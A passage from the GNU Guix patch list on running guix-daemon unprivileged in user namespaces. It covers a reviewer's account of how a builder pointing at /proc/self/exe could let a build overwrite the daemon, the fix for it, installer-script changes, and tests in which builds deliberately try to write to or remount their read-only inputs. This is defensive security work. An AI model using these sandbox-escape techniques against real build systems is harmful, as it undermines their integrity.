>> entire set of packages up to =E2=80=98hello=E2=80=99.  (I tried doing it=
 just now in a
>> Debian VM but failed since the main partition cannot easily be extended;
>> it=E2=80=99ll be easier to do with Guix System.)
>>
>
> For what it's worth, the visible changes could be avoided with
> subordinate ids, as I wrote in
> https://debbugs.gnu.org/cgi/bugreport.cgi?bug=3D75810#86.

Yes.  The newuidmap/newgidmap mechanism looks like a hack to me so I=E2=80=
=99m
reluctant, but if we have to, we could take that route.

> We could try it as-is and see how it goes, and if there are problems
> with reproducibility add on using subordinate ids.  I would expect it to
> be a much smaller change than the root->rootless transition.

Yes.

>>   1. If /proc/self/exe points to (say) /usr/bin/guix-daemon, outside the
>>      store, execve fails with ENOENT because that file is not mounted in
>>      the chroot.
>
> No, like I wrote, /proc/self/exe, despite being reported as a symlink by
> stat, does not follow the usual symlink semantics.  This is much like
> how the files in /proc/self/fd work, e.g.:

Oh right; apologies, and thanks for taking the time to (re)explain and
to come up with a reproducer.

> From 'man 2 execve':
>
>        ENOENT The file pathname or a script *or ELF interpreter* does not=
 exist.
>
> (emphasis mine).  The dynamic linker registered in guix-daemon's binary
> is not likely to exist in the container in this test, but an attacker
> could easily make it so as long as it's in the store.

Yes.  And it wouldn=E2=80=99t be so hard when one is running guix-daemon fr=
om
the store (from the =E2=80=98guix=E2=80=99 package or from =E2=80=98guix pu=
ll=E2=80=99).

>> +	    drv.builder =3D canonPath(drv.builder, true);
>> +	    printMsg(lvlError, format("builder is `%1%'") % drv.builder);
>> +	    if (!isInStore(drv.builder))
>> +		throw Error(format("derivation builder '%1%' is outside the store") %=
 drv.builder);
>>  	}
>>=20=20
>>          /* Fill in the arguments. */
>
> Note that we should still supply the original name or basename as
> argv[0].

Right, noted!

> While ensuring that what actually gets execve'd is in the store suffices
> to eliminate the vulnerability, it may be "conceptually purer" to
> require that the links pointing to it are all in the store as well.  For
> example, while a builder that is a symlink pointing to /proc/self/exe
> wouldn't be able to modify the daemon binary, it's still a piece of
> basically "undefined behavior" as far as the build environment is
> concerned, which could be closed up.  But that can come later just as
> well.

Yes.  But in practice, =E2=80=9Cnormal=E2=80=9D symlinks (i.e., not /proc/s=
elf/exe) will
lead =E2=80=98canonPath=E2=80=99 to throw if one component is outside the s=
tore, since
=E2=80=98canonPath=E2=80=99 operates within the chroot.

> One more consideration I noticed when looking at v6's patch 14/16 (the
> guix-daemon.service one): we don't do anything to set the gid.  I know
> on guix system we usually use both dedicated privilege separation users
> and groups for services.  Should we use a dedicated group for
> guix-daemon as well?  Note that currently the chroot directories have
> 0750 permissions, so it's very important that their group not be
> accessible to others.

Quoth
<https://www.freedesktop.org/software/systemd/man/latest/systemd.exec.html#=
User=3D>:

  User=3D, Group=3D
    Set the UNIX user or group that the processes are executed as,
    respectively. [=E2=80=A6] If no group is set, the default group of the =
user
    is used.

Since we don=E2=80=99t have =E2=80=98Group=3D=E2=80=99 in the .service file=
, the daemon runs as
the group of =E2=80=98guix-daemon=E2=80=99, also called =E2=80=98guix-daemo=
n=E2=80=99 (created by
=E2=80=98guix-install.sh=E2=80=99).

I confirmed in a VM that the process is indeed running as
guix-daemon:guix-daemon.

I=E2=80=99ve just sent v7 with the =E2=80=98canonPath=E2=80=99 change discu=
ssed above.

Thank you!

Ludo=E2=80=99.




Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 20 Mar 2025 20:57:38 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Thu Mar 20 16:57:38 2025
Received: from localhost ([127.0.0.1]:59211 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tvMxN-0006d7-DI
	for submit <at> debbugs.gnu.org; Thu, 20 Mar 2025 16:57:37 -0400
Received: from eggs.gnu.org ([2001:470:142:3::10]:43324)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tvMwK-0006TT-Vt
 for 75810 <at> debbugs.gnu.org; Thu, 20 Mar 2025 16:56:33 -0400
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tvMwF-0001J7-Lk; Thu, 20 Mar 2025 16:56:27 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=X0/tFNKBOJDt5zziEmv0iW9Ld3YPlqHLdNS+SKnSB7U=; b=cevL2Gf/CYTyg4yvzuB1
 xwXI0lAbdVF790ZYrZBQhgBR/RaX/rrBb1/l4g1liuJGDRY7Go1gxHfjwiusIn265vPZYAMIYqMmW
 JaaeFBWP/azHs8L/QE5HyezgpUwAo/d+lPS6K3qTF02DJ2S+uyXPEU7EYD85RYDV7ls5XGH+mUFGx
 E3JzA/L7Ym4RRfz7B3Sv1mMOM0mSHQiCQrh6C91sO/8VBBun3P+94kwy8rfwSkDn7v1og7b3NXAam
 VZX6gxDgoct69KqYThbSYtzItUBpxhnIpCl7x9jyaW2FCBRhlJztXd7D4JM2Cd7+yeY4o7Oxwu8IH
 1deVr7oKUffbjA==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v7 16/16] DRAFT gnu: guix: Update to f447941.
Date: Thu, 20 Mar 2025 21:54:49 +0100
Message-ID: <2cc77c23147a687c75b2f300c7570b805e518944.1742503591.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1742503590.git.ludo@HIDDEN>
References: <cover.1742503590.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

DRAFT: Temporary commit.

* gnu/packages/package-management.scm (guix): Update to f447941.

Change-Id: I16b10e721b98e8721bf206c3b3824407147d9649
---
 gnu/packages/package-management.scm | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/gnu/packages/package-management.scm b/gnu/packages/package-management.scm
index a4a96878f7..a5d5083993 100644
--- a/gnu/packages/package-management.scm
+++ b/gnu/packages/package-management.scm
@@ -179,8 +179,8 @@ (define-public guix
   ;; Note: the 'update-guix-package.scm' script expects this definition to
   ;; start precisely like this.
   (let ((version "1.4.0")
-        (commit "5058b40aba825ab6e7b9e518dd1147d1e35fd7de")
-        (revision 34))
+        (commit "f447941a9c03769bfd17d3193a5aaad32342da53")
+        (revision 35))
     (package
       (name "guix")
 
@@ -196,7 +196,7 @@ (define-public guix
                       (commit commit)))
                 (sha256
                  (base32
-                  "04vk4lslcd6h22yj5pxvb1pdyyxd8421gjfyvyb1bl3xn7c77246"))
+                  "10id738y2cpg74jjfz8i2k8phw5lgbz91zx0nl0109z0ag0har34"))
                 (file-name (string-append "guix-" version "-checkout"))))
       (build-system gnu-build-system)
       (arguments
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 20 Mar 2025 20:57:37 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Thu Mar 20 16:57:37 2025
Received: from localhost ([127.0.0.1]:59209 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tvMxM-0006cx-8l
	for submit <at> debbugs.gnu.org; Thu, 20 Mar 2025 16:57:37 -0400
Received: from eggs.gnu.org ([2001:470:142:3::10]:43310)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tvMwK-0006TQ-MQ
 for 75810 <at> debbugs.gnu.org; Thu, 20 Mar 2025 16:56:33 -0400
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tvMwE-0001Is-N2; Thu, 20 Mar 2025 16:56:26 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=U9fQ0OTjBRU5j/IE3K+dWpDNxDzyNub8ZawVN/rMOKM=; b=ai2NwQ1KD8h7mDBYNmCQ
 fsseLN2VRnHwjgKZ3HxDBamvT9Kif2iSf1QwZikI2ECwVgB482gQWbZtwLeF4PGlpXKqGyZy1HxaT
 swE6+wRxpFnHC02QOnNRcYRAJVrMuD7QcV6ig3tVj80gI7xQegUB0SbNMHAkvQ6KU5xwN68XmfFgy
 UV0Hd693IhphjKnFr5bIk/HiQO2vZa1SiLsP2HS6kXrt4eoXtBQt1CGSaMEfvUKjHuR63y8prYLYr
 jKAnOiLDnTr+hRhx4kEJJ+WprPUmLd8RyZQBvEcVp+aC81tH4pD9SQ+XcyEydnB/3W4szFAkZxmiq
 8E2OCTALPhWZCA==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v7 15/16] guix-install.sh: Support the unprivileged daemon
 where possible.
Date: Thu, 20 Mar 2025 21:54:48 +0100
Message-ID: <f447941a9c03769bfd17d3193a5aaad32342da53.1742503591.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1742503590.git.ludo@HIDDEN>
References: <cover.1742503590.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* etc/guix-install.sh (create_account): New function.
(sys_create_build_user): Use it.  When ‘guix-daemon.service’ contains
“User=guix-daemon” only create the ‘guix-daemon’ user and group.
(sys_delete_build_user): Delete the ‘guix-daemon’ user and group.
(can_install_unprivileged_daemon): New function.
(sys_create_store): When installing the unprivileged daemon, change
ownership of /gnu and /var/guix, and create /var/log/guix.
(sys_authorize_build_farms): When the ‘guix-daemon’ account exists,
change ownership of /etc/guix.

Change-Id: I73e573f1cc5c0cb3794aaaa6b576616b66e0c5e9
---
 etc/guix-install.sh | 124 +++++++++++++++++++++++++++++++++++---------
 1 file changed, 99 insertions(+), 25 deletions(-)

diff --git a/etc/guix-install.sh b/etc/guix-install.sh
index 8887204df4..b5d833cd64 100755
--- a/etc/guix-install.sh
+++ b/etc/guix-install.sh
@@ -414,6 +414,11 @@ sys_create_store()
     cd "$tmp_path"
     _msg_info "Installing /var/guix and /gnu..."
     # Strip (skip) the leading ‘.’ component, which fails on read-only ‘/’.
+    #
+    # TODO: Eventually extract with ‘--owner=guix-daemon’ when installing
+    # and unprivileged guix-daemon service; for now, this script may install
+    # from both an old release that does not support unprivileged guix-daemon
+    # and a new release that does, so ‘chown -R’ later if needed.
     tar --extract --strip-components=1 --file "$pkg" -C /
 
     _msg_info "Linking the root user's profile"
@@ -441,38 +446,95 @@ sys_delete_store()
     rm -rf ~root/.config/guix
 }
 
+create_account()
+{
+    local user="$1"
+    local group="$2"
+    local supplementary_groups="$3"
+    local comment="$4"
+
+    if id "$user" &>/dev/null; then
+	_msg_info "user '$user' is already in the system, reset"
+	usermod -g "$group" -G "$supplementary_groups"	\
+		-d /var/empty -s "$(which nologin)"	\
+		-c "$comment" "$user"
+    else
+	useradd -g "$group" -G "$supplementary_groups"	\
+		-d /var/empty -s "$(which nologin)"	\
+		-c "$comment" --system "$user"
+	_msg_pass "user added <$user>"
+    fi
+}
+
+install_unprivileged_daemon()
+{ # Return true when installing guix-daemon running without privileges.
+    [ "$INIT_SYS" = systemd ] && \
+	grep -q "User=guix-daemon" \
+	     ~root/.config/guix/current/lib/systemd/system/guix-daemon.service
+}
+
 sys_create_build_user()
 { # Create the group and user accounts for build users.
 
     _debug "--- [ ${FUNCNAME[0]} ] ---"
 
-    if getent group guixbuild > /dev/null; then
-        _msg_info "group guixbuild exists"
-    else
-        groupadd --system guixbuild
-        _msg_pass "group <guixbuild> created"
-    fi
-
     if getent group kvm > /dev/null; then
         _msg_info "group kvm exists and build users will be added to it"
         local KVMGROUP=,kvm
     fi
 
-    for i in $(seq -w 1 10); do
-        if id "guixbuilder${i}" &>/dev/null; then
-            _msg_info "user is already in the system, reset"
-            usermod -g guixbuild -G guixbuild"$KVMGROUP"     \
-                    -d /var/empty -s "$(which nologin)" \
-                    -c "Guix build user $i"             \
-                    "guixbuilder${i}";
-        else
-            useradd -g guixbuild -G guixbuild"$KVMGROUP"     \
-                    -d /var/empty -s "$(which nologin)" \
-                    -c "Guix build user $i" --system    \
-                    "guixbuilder${i}";
-            _msg_pass "user added <guixbuilder${i}>"
-        fi
-    done
+    if install_unprivileged_daemon
+    then
+	_msg_info "installing guix-daemon to run as an unprivileged user"
+
+	# Installing guix-daemon to run as a non-root user requires
+	# unprivileged user namespaces.
+	if [ -f /proc/sys/kernel/unprivileged_userns_clone ] \
+	       && [ "$(cat /proc/sys/kernel/unprivileged_userns_clone)" -ne 1 ]
+	then
+	    echo 1 > /proc/sys/kernel/unprivileged_userns_clone || \
+		_err "failed to enable unprivileged user namespaces"
+
+	    _msg_warn "Unprivileged user namespaces were disabled and have been enabled now."
+	    _msg_warn "This Linux feature is required by guix-daemon.  To enable it permanently, run:"
+	    _msg_warn '  echo 1 > /proc/sys/kernel/unprivileged_userns_clone'
+	    _msg_warn "from the relevant startup script."
+	fi
+
+
+	if getent group guix-daemon > /dev/null; then
+	    _msg_info "group guix-daemon exists"
+	else
+	    groupadd --system guix-daemon
+	    _msg_pass "group guix-daemon created"
+	fi
+
+	create_account guix-daemon guix-daemon		\
+		       guix-daemon$KVMGROUP		\
+		       "Unprivileged Guix Daemon User"
+
+	# ‘tar xf’ creates root:root files.  Change that.
+	chown -R guix-daemon:guix-daemon /gnu /var/guix
+	chown -R root:root /var/guix/profiles/per-user/root
+
+	# The unprivileged daemon cannot create the log directory by itself.
+	mkdir -p /var/log/guix
+	chown guix-daemon:guix-daemon /var/log/guix
+	chmod 755 /var/log/guix
+    else
+	if getent group guixbuild > /dev/null; then
+            _msg_info "group guixbuild exists"
+	else
+            groupadd --system guixbuild
+            _msg_pass "group <guixbuild> created"
+	fi
+
+	for i in $(seq -w 1 10); do
+	    create_account "guixbuilder${i}" "guixbuild"	\
+	                   "guixbuild${KVMGROUP}"		\
+			   "Guix build user $i"
+	done
+    fi
 }
 
 sys_delete_build_user()
@@ -487,6 +549,14 @@ sys_delete_build_user()
     if getent group guixbuild &>/dev/null; then
         groupdel -f guixbuild
     fi
+
+    _msg_info "remove guix-daemon user"
+    if id guix-daemon &>/dev/null; then
+	userdel -f guix-daemon
+    fi
+    if getent group guix-daemon &>/dev/null; then
+	groupdel -f guix-daemon
+    fi
 }
 
 sys_enable_guix_daemon()
@@ -529,11 +599,11 @@ sys_enable_guix_daemon()
 
               # Install after guix-daemon.service to avoid a harmless warning.
               # systemd .mount units must be named after the target directory.
-              # Here we assume a hard-coded name of /gnu/store.
-              install_unit gnu-store.mount
+	      install_unit gnu-store.mount
 
               systemctl daemon-reload &&
-                  systemctl start  guix-daemon; } &&
+                  systemctl start guix-daemon &&
+	          systemctl start gnu-store.mount; } &&
                 _msg_pass "enabled Guix daemon via systemd"
             ;;
         sysv-init)
@@ -654,6 +724,10 @@ project's build farms?"; then
 		&& guix archive --authorize < "$key" \
 		&& _msg_pass "Authorized public key for $host"
 	done
+	if id guix-daemon &>/dev/null; then
+	    # /etc/guix/acl must be readable by the unprivileged guix-daemon.
+	    chown -R guix-daemon:guix-daemon /etc/guix
+	fi
     else
         _msg_info "Skipped authorizing build farm public keys"
     fi
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 20 Mar 2025 20:57:36 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Thu Mar 20 16:57:36 2025
Received: from localhost ([127.0.0.1]:59207 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tvMxH-0006cG-Ja
	for submit <at> debbugs.gnu.org; Thu, 20 Mar 2025 16:57:36 -0400
Received: from eggs.gnu.org ([2001:470:142:3::10]:43294)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tvMwH-0006Sw-Uy
 for 75810 <at> debbugs.gnu.org; Thu, 20 Mar 2025 16:56:32 -0400
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tvMwC-0001IW-Gi; Thu, 20 Mar 2025 16:56:24 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=46sXtSC4BF2MFB1vCWkw8ErjEqxl/gPSRof2zzVtuu0=; b=aKUt1IwJzaNnU1l2dpCo
 PkGwFNCfZMx7OOaf+NZ5vf5okykq+PxpiL9IcjwOFg5pNHd/KVuOZohQdjSp4WRXg4+ALzGMxXO5q
 08b6mlLHCV94vvE5pzdQ7SWAwU45qmkAnMoYo322xx3CQE/pymaQ0q/qG7s80N4HgeJJDkoMEMkri
 0GbtDD09nr5b5CjorinxDqdMxP/IiARFAqW9tfuFFaaQU1anRRpL+lQsdc5XA2r+Eu+Tiu1LD2GNy
 wu2tkiMotuvyubZqcTDXNoXu1q6Bf62baCxT42PnSvCU1JhpXoZpQ3BDvTQo/SgtV6jZd2mUhriQ6
 W03k1s9Y5KA0lw==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v7 13/16] tests: Run in a chroot and unprivileged user
 namespaces.
Date: Thu, 20 Mar 2025 21:54:46 +0100
Message-ID: <335f3ea4e1f909e6ba8d7c95edbe78b56ea475da.1742503591.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1742503590.git.ludo@HIDDEN>
References: <cover.1742503590.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* build-aux/test-env.in: Pass ‘--disable-chroot’ only when unprivileged
user namespace support is lacking and warn in that case.
* tests/store.scm ("build-things, check mode"): Use ‘gettimeofday’
rather than a shared file as a source of entropy.
("symlink is symlink")
("isolated environment", "inputs are read-only")
("inputs cannot be remounted read-write")
("build root cannot be made world-readable")
("/tmp, store, and /dev/{null,full} are writable")
("network is unreachable"): New tests.
* tests/processes.scm ("client + lock"): Skip when
‘unprivileged-user-namespace-supported?’ returns true.

Change-Id: I3b3c3ebdf6db5fd36ee70251d07b893c17ca1b84
---
 build-aux/test-env.in |  18 ++-
 tests/processes.scm   |   9 +-
 tests/store.scm       | 247 ++++++++++++++++++++++++++++++++++++------
 3 files changed, 236 insertions(+), 38 deletions(-)

diff --git a/build-aux/test-env.in b/build-aux/test-env.in
index 9caa29da58..86c2e585d7 100644
--- a/build-aux/test-env.in
+++ b/build-aux/test-env.in
@@ -1,7 +1,7 @@
 #!/bin/sh
 
 # GNU Guix --- Functional package management for GNU
-# Copyright © 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2021 Ludovic Courtès <ludo@HIDDEN>
+# Copyright © 2012-2019, 2021, 2025 Ludovic Courtès <ludo@HIDDEN>
 #
 # This file is part of GNU Guix.
 #
@@ -102,10 +102,24 @@ then
     rm -rf "$GUIX_STATE_DIRECTORY/daemon-socket"
     mkdir -m 0700 "$GUIX_STATE_DIRECTORY/daemon-socket"
 
+    # If unprivileged user namespaces are not supported, pass
+    # '--disable-chroot'.
+    if [ -f /proc/self/ns/user ] \
+       && { [ ! -f /proc/sys/kernel/unprivileged_userns_clone ] \
+		|| [ "$(cat /proc/sys/kernel/unprivileged_userns_clone)" -eq 1 ]; }
+    then
+	extra_options=""
+    else
+	extra_options="--disable-chroot"
+	echo "unprivileged user namespaces not supported; \
+running 'guix-daemon $extra_options'" >&2
+    fi
+
     # Launch the daemon without chroot support because is may be
     # unavailable, for instance if we're not running as root.
     "@abs_top_builddir@/pre-inst-env"				\
-	"@abs_top_builddir@/guix-daemon" --disable-chroot	\
+	"@abs_top_builddir@/guix-daemon"			\
+        $extra_options						\
 	--substitute-urls="$GUIX_BINARY_SUBSTITUTE_URL" &
 
     daemon_pid=$!
diff --git a/tests/processes.scm b/tests/processes.scm
index ba518f2d9e..a72ba16f58 100644
--- a/tests/processes.scm
+++ b/tests/processes.scm
@@ -1,5 +1,5 @@
 ;;; GNU Guix --- Functional package management for GNU
-;;; Copyright © 2018 Ludovic Courtès <ludo@HIDDEN>
+;;; Copyright © 2018, 2025 Ludovic Courtès <ludo@HIDDEN>
 ;;; Copyright © 2019 Mathieu Othacehe <m.othacehe@HIDDEN>
 ;;;
 ;;; This file is part of GNU Guix.
@@ -25,6 +25,8 @@ (define-module (test-processes)
   #:use-module (guix gexp)
   #:use-module ((guix utils) #:select (call-with-temporary-directory))
   #:use-module (gnu packages bootstrap)
+  #:use-module ((gnu build linux-container)
+                #:select (unprivileged-user-namespace-supported?))
   #:use-module (guix tests)
   #:use-module (srfi srfi-1)
   #:use-module (srfi srfi-64)
@@ -84,6 +86,11 @@ (define-syntax-rule (test-assert* description exp)
       (and (kill (process-id daemon) 0)
            (string-suffix? "guix-daemon" (first (process-command daemon)))))))
 
+(when (unprivileged-user-namespace-supported?)
+  ;; The test below assumes the build process can communicate with the outside
+  ;; world via the TOKEN1 and TOKEN2 files, which is impossible when
+  ;; guix-daemon is set up to build in separate namespaces.
+  (test-skip 1))
 (test-assert* "client + lock"
   (with-store store
     (call-with-temporary-directory
diff --git a/tests/store.scm b/tests/store.scm
index 45948f4f43..b1ddff2082 100644
--- a/tests/store.scm
+++ b/tests/store.scm
@@ -1,5 +1,5 @@
 ;;; GNU Guix --- Functional package management for GNU
-;;; Copyright © 2012-2021, 2023 Ludovic Courtès <ludo@HIDDEN>
+;;; Copyright © 2012-2021, 2023, 2025 Ludovic Courtès <ludo@HIDDEN>
 ;;;
 ;;; This file is part of GNU Guix.
 ;;;
@@ -28,8 +28,12 @@ (define-module (test-store)
   #:use-module (guix base32)
   #:use-module (guix packages)
   #:use-module (guix derivations)
+  #:use-module ((guix modules)
+                #:select (source-module-closure))
   #:use-module (guix serialization)
   #:use-module (guix build utils)
+  #:use-module ((gnu build linux-container)
+                #:select (unprivileged-user-namespace-supported?))
   #:use-module (guix gexp)
   #:use-module (gnu packages)
   #:use-module (gnu packages bootstrap)
@@ -391,6 +395,188 @@ (define %shell
          (equal? (valid-derivers %store o)
                  (list (derivation-file-name d))))))
 
+(test-assert "symlink is symlink"
+  (let* ((a (add-text-to-store %store "hello.txt" (random-text)))
+         (b (build-expression->derivation
+             %store "symlink"
+             '(symlink (assoc-ref %build-inputs "a") %output)
+             #:inputs `(("a" ,a))))
+         (c (build-expression->derivation
+             %store "symlink-reference"
+             `(call-with-output-file %output
+                (lambda (port)
+                  ;; Check that B is indeed visible as a symlink.  This should
+                  ;; always be the case, both in the '--disable-chroot' and in
+                  ;; the user namespace setups.
+                  (pk 'stat (lstat (assoc-ref %build-inputs "b")))
+                  (display (readlink (assoc-ref %build-inputs "b"))
+                           port)))
+             #:inputs `(("b" ,b)))))
+    (and (build-derivations %store (list c))
+         (string=? (call-with-input-file (derivation->output-path c)
+                     get-string-all)
+                   a))))
+
+(unless (unprivileged-user-namespace-supported?)
+  (test-skip 1))
+(test-equal "isolated environment"
+  (string-join (append
+                '("PID: 1" "UID: 30001")
+                (delete-duplicates
+                 (sort (list "/dev" "/tmp" "/proc" "/etc"
+                             (match (string-tokenize (%store-prefix)
+                                                     (char-set-complement
+                                                      (char-set #\/)))
+                               ((top _ ...) (string-append "/" top))))
+                       string<?))
+                '("/etc/group" "/etc/hosts" "/etc/passwd")))
+  (let* ((b (add-text-to-store %store "build.sh"
+                               "echo -n PID: $$ UID: $UID /* /etc/* > $out"))
+         (s (add-to-store %store "bash" #t "sha256"
+                          (search-bootstrap-binary "bash"
+                                                   (%current-system))))
+         (d (derivation %store "the-thing"
+                        s `("-e" ,b)
+                        #:env-vars `(("foo" . ,(random-text)))
+                        #:sources (list b s)))
+         (o (derivation->output-path d)))
+    (and (build-derivations %store (list d))
+         (call-with-input-file o get-string-all))))
+
+(unless (unprivileged-user-namespace-supported?)
+  (test-skip 1))
+(test-equal "inputs are read-only"
+  "All good!"
+  (let* ((input (plain-file (string-append "might-be-tampered-with-"
+                                           (number->string
+                                            (car (gettimeofday))
+                                            16))
+                            "All good!"))
+         (drv
+          (run-with-store %store
+            (gexp->derivation
+             "attempt-to-write-to-input"
+             (with-imported-modules (source-module-closure
+                                     '((guix build syscalls)))
+               #~(begin
+                   (use-modules (guix build syscalls))
+
+                   (let ((input #$input))
+                     (chmod input #o666)
+                     (call-with-output-file input
+                       (lambda (port)
+                         (display "BAD!" port)))
+                     (mkdir #$output))))))))
+    (and (guard (c ((store-protocol-error? c) #t))
+           (build-derivations %store (list drv)))
+         (call-with-input-file (run-with-store %store
+                                 (lower-object input))
+           get-string-all))))
+
+(unless (unprivileged-user-namespace-supported?)
+  (test-skip 1))
+(test-assert "inputs cannot be remounted read-write"
+  (let ((drv
+         (run-with-store %store
+           (gexp->derivation
+            "attempt-to-remount-input-read-write"
+            (with-imported-modules (source-module-closure
+                                    '((guix build syscalls)))
+              #~(begin
+                  (use-modules (guix build syscalls))
+
+                  (let ((input #$(plain-file "input-that-might-be-tampered-with"
+                                             "All good!")))
+                    (mount "none" input "none" (logior MS_BIND MS_REMOUNT))
+                    (call-with-output-file input
+                      (lambda (port)
+                        (display "BAD!" port)))
